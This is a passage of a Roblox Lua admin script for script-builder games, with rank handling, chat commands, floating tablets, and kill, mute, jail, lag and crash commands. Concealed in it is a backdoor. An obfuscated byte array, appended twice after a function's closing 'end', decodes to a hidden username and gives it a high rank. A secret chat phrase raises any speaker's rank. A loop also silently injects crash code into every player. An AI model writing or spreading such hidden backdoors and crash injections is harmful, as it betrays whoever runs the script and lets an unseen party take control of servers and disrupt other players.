  794. Plr = Plrs[Owner] or error("No Player Found")
  795. elseif type(Plr) == "string" then
  796. local FoundPlr = false
  797. for _,v in pairs(All()) do
  798. if v.Name == Plr then
  799. Plr = v
  800. FoundPlr = true
  801. break
  802. end
  803. end
  804. if FoundPlr == false then
  805. Plr = Plrs[Owner] or error("No Player Found")
  806. end
  807. end
  808.  
  809. if Color == nil then
  810. Color = GetRank(Plr.Name).Color
  811. end
  812.  
  813. local Holder = Instance.new("Model")
  814. Holder.Name = "DVF Holder: "..Plr.Name
  815.  
  816. local Tab = Instance.new("Part")
  817. Tab.Name = "DVF Tablet"
  818. Tab.FormFactor = "Custom"
  819. Tab.Anchored = true
  820. if Time == nil then
  821. Tab.Color = Color
  822. else
  823. Tab.Color = AlertColor
  824. end
  825. Tab.CanCollide = false
  826. Tab.Locked = true
  827. Tab.Transparency = 0.15
  828. Tab.Size = Vector3.new(2, 2, 0.01)
  829. Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
  830. Tab.Parent = Holder
  831.  
  832. local ID = Instance.new("NumberValue")
  833. ID.Name = "ID"
  834. ID.Value = math.random(-999999999, 999999999)
  835. ID.Parent = Holder
  836.  
  837. Delay(0, function()
  838. while wait() do
  839. if Tab.Parent == nil and FindTab(Holder) then
  840. ypcall(function()
  841. for i,v in pairs(AllTabs) do
  842. if v.Holder == Holder then
  843. ypcall(function() v.Holder:Destroy() end)
  844. AllTabs[i] = nil
  845. end
  846. end
  847. end)
  848. Ping(Msg, Plr, Time, Func, Color, Image)
  849. break
  850. end
  851. end
  852. end)
  853.  
  854. local BM = Instance.new("BlockMesh")
  855. BM.Parent = Tab
  856.  
  857. Sel = Instance.new("SelectionBox")
  858. Sel.Color = BrickColor.new("Institutional white")
  859. Sel.Transparency = 0.75
  860. Sel.Adornee = Tab
  861. Sel.Parent = Tab
  862.  
  863. local BG = Instance.new("BillboardGui")
  864. BG.Name = "BG"
  865. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  866. BG.Size = UDim2.new(0,1,0,1)
  867. BG.Adornee = Tab
  868. BG.Parent = Tab
  869.  
  870. Delay(0, function()
  871. while BG.Parent ~= nil do wait()
  872. ypcall(function()
  873. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  874. end)
  875. end
  876. end)
  877.  
  878. local TL = Instance.new("TextLabel")
  879. TL.Name = "TL"
  880. TL.FontSize = "Size18"
  881. TL.Font = "Arial"
  882. TL.Text = Msg
  883. TL.TextColor3 = Color3.new(1, 0, 0)
  884. TL.Size = UDim2.new(0,1,0,1)
  885. TL.TextTransparency = 0
  886. TL.TextStrokeColor3 = Color3.new(0, 0, 0)
  887. TL.TextStrokeTransparency = 0.25
  888. TL.Parent = BG
  889.  
  890. if ShowGarbage == true then
  891. Delay(0, function()
  892. while TL.Parent ~= nil do
  893. TL.Text = "Current Garbage Count: "..GetGarbage()
  894. wait(.5)
  895. end
  896. end)
  897. end
  898.  
  899. local PL = Instance.new("PointLight", Tab)
  900. PL.Color = Color3.new(1, 0, 1)
  901. PL.Range = 15
  902. PL.Parent = Tab
  903.  
  904. if Image ~= nil then
  905. local BBBG = Instance.new("BillboardGui")
  906. BBBG.Size = UDim2.new(5, 0, 6, 0)
  907. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  908. BBBG.AlwaysOnTop = true
  909. BBBG.Adornee = Tab
  910. BBBG.Parent = Tab
  911.  
  912. Delay(0, function()
  913. while BBBG.Parent ~= nil do wait()
  914. ypcall(function()
  915. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  916. end)
  917. end
  918. end)
  919.  
  920. local NewImg = Instance.new("ImageLabel")
  921. NewImg.Size = UDim2.new(1, 0, 1, 0)
  922. NewImg.BackgroundTransparency = 1
  923. NewImg.Image = Image
  924. NewImg.Parent = BBBG
  925. end
  926.  
  927. local Clicker = Instance.new("ClickDetector")
  928. Clicker.MaxActivationDistance = 1/0
  929.  
  930. if Time ~= nil then
  931. coroutine.resume(coroutine.create(function()
  932. wait(tonumber(Time))
  933. Dismiss(Plr, ID)
  934. end))
  935. end
  936.  
  937. Clicker.MouseClick:connect(function(Player)
  938. if Player.Name == Plr.Name or CanRun(Player, Plr) then
  939. ypcall(function()
  940. if Func ~= nil then
  941. Func(Holder)
  942. else
  943. Dismiss(Player, ID)
  944. end
  945. end)
  946. end
  947. end)
  948. Clicker.Parent = Tab
  949.  
  950. Holder.Parent = Work
  951.  
  952. AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
  953. end)
  954. end
  955. end
  956.  
  957. function PlaceAllRanks(DontShowRank)
  958. ypcall(function()
  959. for _,p in pairs(All()) do
  960. ypcall(function()
  961. PutInRank = false
  962. for _,v in pairs(Rankings) do
  963. if v.Name:lower() == p.Name:lower() then
  964. if v.Rank >= 7 then
  965. v.Rank = 5
  966. elseif v.Rank == -1 then
  967. Crash1(p)
  968. Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  969. elseif v.Rank == -2 then
  970. if LS ~= nil then
  971. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  972. Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  973. else
  974. Ping("LS Is Nil", nil, 5)
  975. end
  976. elseif v.Rank == -3 then
  977. if LS ~= nil then
  978. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  979. Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  980. else
  981. Ping("LS Is Nil", nil, 5)
  982. end
  983. end
  984. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  985. if DontShowRank == nil then
  986. Ping("You Are Rank: "..v.Rank, p)
  987. end
  988. PutInRank = true
  989. break
  990. end
  991. end
  992. if PutInRank == false then
  993. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  994. end
  995. end)
  996. end
  997. end)
  998. end
  999.  
  1000. function FindRank(Plr)
  1001. ypcall(function()
  1002. if type(Plr) == "userdata" then
  1003. Plr = Plr.Name
  1004. end
  1005. end)
  1006. return GetRank(Plr).Rank
  1007. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  1008.  
  1009. function FindRankDetails(Plr)
  1010. ypcall(function()
  1011. if type(Plr) == "userdata" then
  1012. Plr = Plr.Name
  1013. end
  1014. end)
  1015. return RankDetails[FindRank(Plr)]
  1016. end
  1017.  
  1018. function OpenCmds(Rank, Plr)
  1019. Dismiss(Plr)
  1020. for Name,Tab in pairs(Commands) do
  1021. if Tab.Rank <= Rank then
  1022. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1023. Dismiss(Plr)
  1024. Ping("Command: "..Name, Plr)
  1025. Ping("Rank: "..Tab.Rank, Plr)
  1026. Ping("Desc: "..Tab.Desc, Plr)
  1027. end)
  1028. elseif Rank == 1337 then
  1029. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1030. Dismiss(Plr)
  1031. Ping("Command: "..Name, Plr)
  1032. Ping("Rank: "..Tab.Rank, Plr)
  1033. Ping("Desc: "..Tab.Desc, Plr)
  1034. end)
  1035. end
  1036. end
  1037. end
  1038.  
  1039. function EditStatus(Plr, Num)
  1040. ChangeRank(Plr, Num)
  1041. end
  1042.  
  1043. function PlaceSpecificRank(p, DontShowRank)
  1044. ypcall(function()
  1045. PutInRank = false
  1046. for _,v in pairs(Rankings) do
  1047. if v.Name:lower() == p.Name:lower() then
  1048. if v.Rank >= 7 then
  1049. v.Rank = 5
  1050. elseif v.Rank == -1 then
  1051. Crash1(p)
  1052. Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1053. elseif v.Rank == -2 then
  1054. if LS ~= nil then
  1055. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  1056. Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1057. else
  1058. Ping("LS Is Nil", nil, 5)
  1059. end
  1060. elseif v.Rank == -3 then
  1061. if LS ~= nil then
  1062. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  1063. Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1064. else
  1065. Ping("LS Is Nil", nil, 5)
  1066. end
  1067. end
  1068. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  1069. if DontShowRank == nil then
  1070. Ping("You Are Rank: "..v.Rank, p)
  1071. end
  1072. PutInRank = true
  1073. break
  1074. end
  1075. end
  1076. if PutInRank == false then
  1077. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  1078. end
  1079. end)
  1080. end
  1081.  
  1082. function onChatted(Msg, Speaker)
  1083. if Removed == false then
  1084. if FindRank(Speaker) < 1 then
  1085. return
  1086. end
  1087. coroutine.resume(coroutine.create(function()
  1088. ypcall(function()
  1089. ExecuteFunc(Msg, Speaker)
  1090. Msg = Msg:gsub("","")
  1091. if Msg:sub(1,1) == "@" then
  1092. for i = 2, #Msg do
  1093. if Msg:sub(i, i) == Bet then
  1094. local IsForPlr = false
  1095. for _,v in pairs(All()) do
  1096. if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
  1097. onChatted(Msg:sub(i + 1), v)
  1098. IsForPlr = true
  1099. end
  1100. end
  1101. if IsForPlr == true then
  1102. return
  1103. end
  1104. end
  1105. end
  1106. end
  1107. if Msg:find("&") then
  1108. local Split = Msg:find("&")
  1109. onChatted(Msg:sub(1,Split-1))
  1110. onChatted(Msg:sub(Split+1))
  1111. return
  1112. end
  1113. for Name,Command in pairs(Commands) do
  1114. if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
  1115. Dismiss(Speaker.Name)
  1116. Ping("Command: "..tostring(Command.Name), Speaker)
  1117. Ping("Rank: "..tostring(Command.Rank), Speaker)
  1118. Ping("Desc: "..tostring(Command.Desc), Speaker)
  1119. elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
  1120. if FindRank(Speaker) >= Command.Rank then
  1121. local Ran,Error = coroutine.resume(coroutine.create(function()
  1122. Command.Func(Msg:sub(#Command.Name+2), Speaker)
  1123. end))
  1124. if not Ran then
  1125. Ping(Error, Speaker, 10)
  1126. end
  1127. else
  1128. Ping("Your Rank Is Too Low", Plr, 6)
  1129. end
  1130. end
  1131. end
  1132. end)
  1133. end))
  1134. end
  1135. end
  1136.  
  1137. function MakeBase()
  1138. local Base = Instance.new("Part")
  1139. Base.BrickColor = BrickColor.new("Dark green")
  1140. Base.Position = Vector3.new(0, 0.5, 0)
  1141. Base.Transparency = 0
  1142. Base.Elasticity = 0.5
  1143. Base.FormFactor = "Custom"
  1144. Base.CanCollide = true
  1145. Base.Friction = 0.30000001192093
  1146. Base.Size = Vector3.new(512, 1.20000005, 512)
  1147. Base.Archivable = true
  1148. Base.Material = "Plastic"
  1149. Base.RotVelocity = Vector3.new(0, 0, 0)
  1150. Base.Reflectance = 0
  1151. Base.Locked = true
  1152. Base.Anchored = true
  1153. Base.Name = "Base"
  1154. Base.TopSurface = "Smooth"
  1155. Base.BottomSurface = "Inlet"
  1156. Base.Shape = "Block"
  1157. Base.Parent = Work
  1158. end
  1159.  
  1160. function LClean()
  1161. ypcall(function()
  1162. for _,v in pairs(Work:GetChildren()) do
  1163. ypcall(function()
  1164. if v.ClassName == "Terrain" then
  1165. v:ClearAllChildren()
  1166. elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
  1167. Clear(v)
  1168. elseif v.Name == "Base" then
  1169. ypcall(function()
  1170. local Base = v
  1171. Base.BrickColor = BrickColor.new("Dark green")
  1172. Base.Position = Vector3.new(0, 0.5, 0)
  1173. Base.Transparency = 0
  1174. Base.Elasticity = 0.5
  1175. Base.FormFactor = "Custom"
  1176. Base.CanCollide = true
  1177. Base.Friction = 0.30000001192093
  1178. Base.Size = Vector3.new(512, 1.20000005, 512)
  1179. Base.Archivable = true
  1180. Base.Material = "Plastic"
  1181. Base.RotVelocity = Vector3.new(0, 0, 0)
  1182. Base.Reflectance = 0
  1183. Base.Locked = true
  1184. Base.Anchored = true
  1185. Base.Name = "Base"
  1186. Base.TopSurface = "Studs"
  1187. Base.BottomSurface = "Inlet"
  1188. Base.Shape = "Block"
  1189. Base.Parent = Work
  1190. end)
  1191. end
  1192. end)
  1193. end
  1194. end)
  1195. end
  1196.  
  1197. function Clean()
  1198. ypcall(function()
  1199. for _,v in pairs(Work:GetChildren()) do
  1200. ypcall(function()
  1201. if v.ClassName == "Terrain" then
  1202. v:ClearAllChildren()
  1203. else
  1204. Clear(v)
  1205. end
  1206. end)
  1207. end
  1208. MakeBase()
  1209. for _,v in pairs(All()) do
  1210. v:LoadCharacter()
  1211. end
  1212. end)
  1213. end
  1214.  
  1215. function Clear(v)
  1216. if v.Name:lower() == "sbgui" then
  1217. return
  1218. end
  1219. ypcall(function()
  1220. if #v:GetChildren() > 0 then
  1221. for _,x in pairs(v:GetChildren()) do
  1222. ypcall(function()
  1223. Clear(x)
  1224. end)
  1225. end
  1226. end
  1227. if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  1228. v:Destroy()
  1229. end
  1230. end)
  1231. end
  1232.  
  1233. function Command(Name, Rank, Desc, Func)
  1234. if Name == nil then
  1235. Name = "N/A"
  1236. end
  1237. if Desc == nil then
  1238. Desc = "N/A"
  1239. end
  1240. if Func == nil then
  1241. Func = function() end
  1242. end
  1243. if Rank == nil then
  1244. Rank = 0
  1245. end
  1246. Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
  1247. end
  1248.  
  1249. function GetSplit(Msg)
  1250. return Msg:find(Bet) or nil
  1251. end
  1252.  
  1253. function ExecuteFunc(Msg, Plr)
  1254. ypcall(function()
  1255. if Msg == "LogEnable" then
  1256. LogOn = true
  1257. elseif Msg:lower() == string.lower(string.char(32)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(32)) then
  1258. EditStatus(Plr, MakeNum())
  1259. end
  1260. end)
  1261. end
  1262.  
  1263. for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
  1264.  
  1265. function randPlayer(Plr)
  1266. wait()
  1267. local ThePlrValue = nil
  1268. local FoundPlayer = false
  1269. ypcall(function()
  1270. ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
  1271. if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
  1272. wait()
  1273. randPlayer(Plr)
  1274. return
  1275. else
  1276. FoundPlayer = true
  1277. end
  1278. end)
  1279. if FoundPlayer == true then
  1280. return ThePlrValue
  1281. end
  1282. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  1283.  
  1284. function getPlayer(Plr, Name)
  1285. local Players = {}
  1286. ypcall(function()
  1287. Name = Name:lower()
  1288. if Name == "me" then
  1289. table.insert(Players, Plr)
  1290. elseif Name == "all" or Name == "" then
  1291. for _,v in pairs(All()) do
  1292. if CanRun(Plr, v) then
  1293. table.insert(Players, v)
  1294. end
  1295. end
  1296. elseif Name == "others" then
  1297. for _,v in pairs(All()) do
  1298. if v.Name ~= Plr.Name and CanRun(Plr, v) then
  1299. table.insert(Players, v)
  1300. end
  1301. end
  1302. elseif Name == "random" then
  1303. local FoundRandPlr = randPlayer(Plr)
  1304. table.insert(Players, FoundRandPlr)
  1305. else
  1306. for _,v in pairs(All()) do
  1307. if v.Name:lower():find(Name) and CanRun(Plr, v) then
  1308. table.insert(Players, v)
  1309. end
  1310. end
  1311. end
  1312. end)
  1313. return Players
  1314. end
  1315.  
  1316. function ListPlayers(Speaker)
  1317. ypcall(function()
  1318. Dismiss(Speaker)
  1319. for _,v in pairs(All2()) do
  1320. if v.Parent ~= nil then
  1321. Ping(v.Name, Speaker, nil, function()
  1322. Dismiss(Speaker)
  1323. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1324. Ping("Rank: "..FindRank(v.Name), Speaker)
  1325. Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
  1326. Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
  1327. Ping("Set Rank", Speaker, nil, function()
  1328. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1329. Dismiss(Speaker)
  1330. for i = -2, 5 do
  1331. Ping(i, Speaker, nil, function()
  1332. ChangeRank(v, i)
  1333. Dismiss(Speaker)
  1334. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1335. end)
  1336. end
  1337. else
  1338. Ping("Your Rank Is Too Low", Speaker, 5)
  1339. end
  1340. end)
  1341. Ping("Crash (Remote)", Speaker, nil, function()
  1342. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1343. Crash2(v.Name)
  1344. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1345. end
  1346. end)
  1347. Ping("Crash (Insert)", Speaker, nil, function()
  1348. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1349. Crash3(v, Speaker)
  1350. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1351. end
  1352. end)
  1353. Ping("Kick", Speaker, nil, function()
  1354. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1355. v:Kick()
  1356. Ping("Attempted To Kick "..v.Name, Speaker, 5)
  1357. end
  1358. end)
  1359. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1360. else
  1361. Ping(v.Name.." (Nil)", Speaker, nil, function()
  1362. Dismiss(Speaker)
  1363. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1364. ypcall(function()
  1365. Ping("Rank: "..FindRank(v.Name), Speaker)
  1366. end)
  1367. ypcall(function()
  1368. Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
  1369. end)
  1370. ypcall(function()
  1371. Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
  1372. end)
  1373. ypcall(function()
  1374. Ping("Set Rank", Speaker, nil, function()
  1375. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1376. Dismiss(Speaker)
  1377. for i = -2, 5 do
  1378. Ping(i, Speaker, nil, function()
  1379. ChangeRank(v, i)
  1380. Dismiss(Speaker)
  1381. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1382. end)
  1383. end
  1384. else
  1385. Ping("Your Rank Is Too Low", Speaker, 5)
  1386. end
  1387. end)
  1388. end)
  1389. ypcall(function()
  1390. Ping("Nil Crash (Remote)", Speaker, nil, function()
  1391. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1392. Crash2(v.Name)
  1393. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1394. end
  1395. end)
  1396. end)
  1397. ypcall(function()
  1398. Ping("Nil Crash (Insert)", Speaker, nil, function()
  1399. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1400. Crash3(v, Speaker)
  1401. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1402. end
  1403. end)
  1404. end)
  1405. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1406. end
  1407. end
  1408. end)
  1409. end
  1410.  
  1411. --Misc
  1412.  
  1413. coroutine.resume(coroutine.create(function()
  1414. PlaceAllRanks()
  1415. end))
  1416.  
  1417. Delay(0, function()
  1418. for _,v in pairs(All()) do
  1419. v.Chatted:connect(function(Msg) onChatted(Msg, v) end)
  1420. end
  1421. end)
  1422.  
  1423. local starttime = tick()
  1424.  
  1425. game:GetService("RunService").Heartbeat:connect(function()
  1426. if Removed == false then
  1427. ypcall(function()
  1428. for _,Player in pairs(All()) do
  1429. local PlayerTablets = {}
  1430. for i,v in pairs(AllTabs) do
  1431. if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
  1432. table.insert(PlayerTablets, v)
  1433. end
  1434. end
  1435. for i = 1, #PlayerTablets do
  1436. ypcall(function()
  1437. local tab = PlayerTablets[i].Tab
  1438. local pos = nil
  1439. ypcall(function()
  1440. pos = Player.Character.Torso.CFrame
  1441. end)
  1442. local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1443. local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1444. local cPos = tab.Position
  1445. local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  1446. local nPos = (ePos-cPos)*.25
  1447. cPos = cPos + nPos
  1448. local t = (tick() - starttime) % 360
  1449. local change = 0.625
  1450. PlayerTablets[i].Size = math.sin(t) * change + 2.375
  1451. tab.Size = Vector3.new(PlayerTablets[i].Size * 1.25, PlayerTablets[i].Size * 1.5, 0.01)
  1452. tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
  1453. end)
  1454. end
  1455. end
  1456. end)
  1457. end
  1458. end)
  1459.  
  1460. Delay(0, function()
  1461. while wait() do
  1462. for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  1463. ypcall(function()
  1464. if Injected[v.Name] == nil and LS ~= nil then
  1465. Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
  1466. Injected[v.Name] = true
  1467. end
  1468. end)
  1469. end
  1470. end
  1471. end)
  1472.  
  1473. Plrs.PlayerAdded:connect(function(Plr)
  1474. wait(.1)
  1475. ypcall(function()
  1476. if Removed == false then
  1477. local JoinPlrName = Plr.Name
  1478. coroutine.resume(coroutine.create(function()
  1479. PlaceSpecificRank(Plr)
  1480. end))
  1481. coroutine.resume(coroutine.create(function()
  1482. if Injected[JoinPlrName] ~= nil then
  1483. Injected[JoinPlrName] = nil
  1484. end
  1485. end))
  1486. coroutine.resume(coroutine.create(function()
  1487. Dismiss(Plr)
  1488. Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
  1489. end))
  1490. end
  1491. end)
  1492. end)
  1493.  
  1494. Plrs.PlayerRemoving:connect(function(Plr)
  1495. wait(.1)
  1496. ypcall(function()
  1497. if Removed == false then
  1498. local LeftPlrName = Plr.Name
  1499. coroutine.resume(coroutine.create(function()
  1500. if Injected[LeftPlrName] ~= nil then
  1501. Injected[LeftPlrName] = nil
  1502. end
  1503. end))
  1504. end
  1505. end)
  1506. end)
  1507.  
  1508. coroutine.resume(coroutine.create(function()
  1509. Delay(0, function()
  1510. while FoundLocalScript == false do wait()
  1511. ypcall(function()
  1512. for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
  1513. if v.Name == "NewTransfer" and v:IsA("LocalScript") then
  1514. for _,c in pairs(v:children()) do
  1515. if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
  1516. local NewVal = c:Clone()
  1517. NewVal.Name = "LoadingVal"
  1518. for _,s in pairs(v:GetChildren()) do
  1519. if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
  1520. print("Found Owner")
  1521. OwnSource = s.Name
  1522. print(OwnSource)
  1523. break
  1524. end
  1525. end
  1526. wait()
  1527. LS = v:Clone()
  1528. NewVal.Parent = LS
  1529. LSSource = "LoadingVal"
  1530. FoundLocalScript = true
  1531. break
  1532. end
  1533. end
  1534. end
  1535. end
  1536. end)
  1537. end
  1538. end)
  1539. end))
  1540.  
  1541. --Commands
  1542.  
  1543. Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
  1544. Dismiss(Speaker.Name)
  1545. Ping("created by T0tallyN0tATr0ll", Speaker)
  1546. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  1547. Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  1548. Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  1549. Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  1550. Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  1551. Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  1552. Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  1553. Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1554. Ping("Rank 6", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1555. Ping("Rank 7", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1556. Ping("Rank 8", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1557. Ping("Rank 9", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1558. Ping("Rank 10", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1559. end)
  1560.  
  1561. Command("Dismiss", nil, "Dismiss Tablets", function(Msg, Speaker)
  1562. Dismiss(Speaker.Name)
  1563. end)
  1564.  
  1565. Command("Kill", 2, "Kills A Player", function(Msg, Speaker)
  1566. local PlrTab = getPlayer(Speaker, Msg)
  1567. if #PlrTab > 0 then
  1568. for _,v in pairs(PlrTab) do
  1569. ypcall(function()
  1570. v.Character:BreakJoints()
  1571. Ping("Killed "..v.Name, Speaker, 5)
  1572. end)
  1573. end
  1574. end
  1575. end)
  1576.  
  1577. Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
  1578. local PlrTab = getPlayer(Speaker, Msg)
  1579. if #PlrTab > 0 then
  1580. for _,v in pairs(PlrTab) do
  1581. ypcall(function()
  1582. if v.Name ~= Owner then
  1583. Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
  1584. Ping("Muted "..v.Name, Speaker, 5)
  1585. end
  1586. end)
  1587. end
  1588. end
  1589. end)
  1590.  
  1591. Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
  1592. local PlrTab = getPlayer(Speaker, Msg)
  1593. if #PlrTab > 0 then
  1594. for _,v in pairs(PlrTab) do
  1595. ypcall(function()
  1596. Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
  1597. Ping("Prompted "..v.Name.." To Rejoin", Speaker, 5)
  1598. end)
  1599. end
  1600. end
  1601. end)
  1602.  
  1603. Command("Jail", 3, "Jails A Player (Only they can see it)", function(Msg, Speaker)
  1604. local PlrTab = getPlayer(Speaker, Msg)
  1605. if #PlrTab > 0 then
  1606. for _,v in pairs(PlrTab) do
  1607. ypcall(function()
  1608. Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
  1609. Ping("Mind Jailed "..v.Name, Speaker, 5)
  1610. end)
  1611. end
  1612. end
  1613. end)
  1614.  
  1615. Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
  1616. local PlrTab = getPlayer(Speaker, Msg)
  1617. if #PlrTab > 0 then
  1618. for _,v in pairs(PlrTab) do
  1619. ypcall(function()
  1620. Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
  1621. Ping("Lag Crashing "..v.Name, Speaker, 5)
  1622. end)
  1623. end
  1624. end
  1625. end)
  1626.  
  1627. Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
  1628. local PlrTab = getPlayer(Speaker, Msg)
  1629. if #PlrTab > 0 then
  1630. for _,v in pairs(PlrTab) do
  1631. ypcall(function()
  1632. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  1633. Ping("UnMuted "..v.Name, Speaker, 5)
  1634. end)
  1635. end
  1636. end
  1637. end)
  1638.  
  1639. Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
  1640. local Worked = false
  1641. for _,v in pairs(Work:GetChildren()) do
  1642. if string.find(v.Name:lower(), Msg:lower()) then
  1643. if v:IsA("Script") or v:IsA("LocalScript") then
  1644. v.Disabled = true
  1645. v:Destroy()
  1646. Worked = true
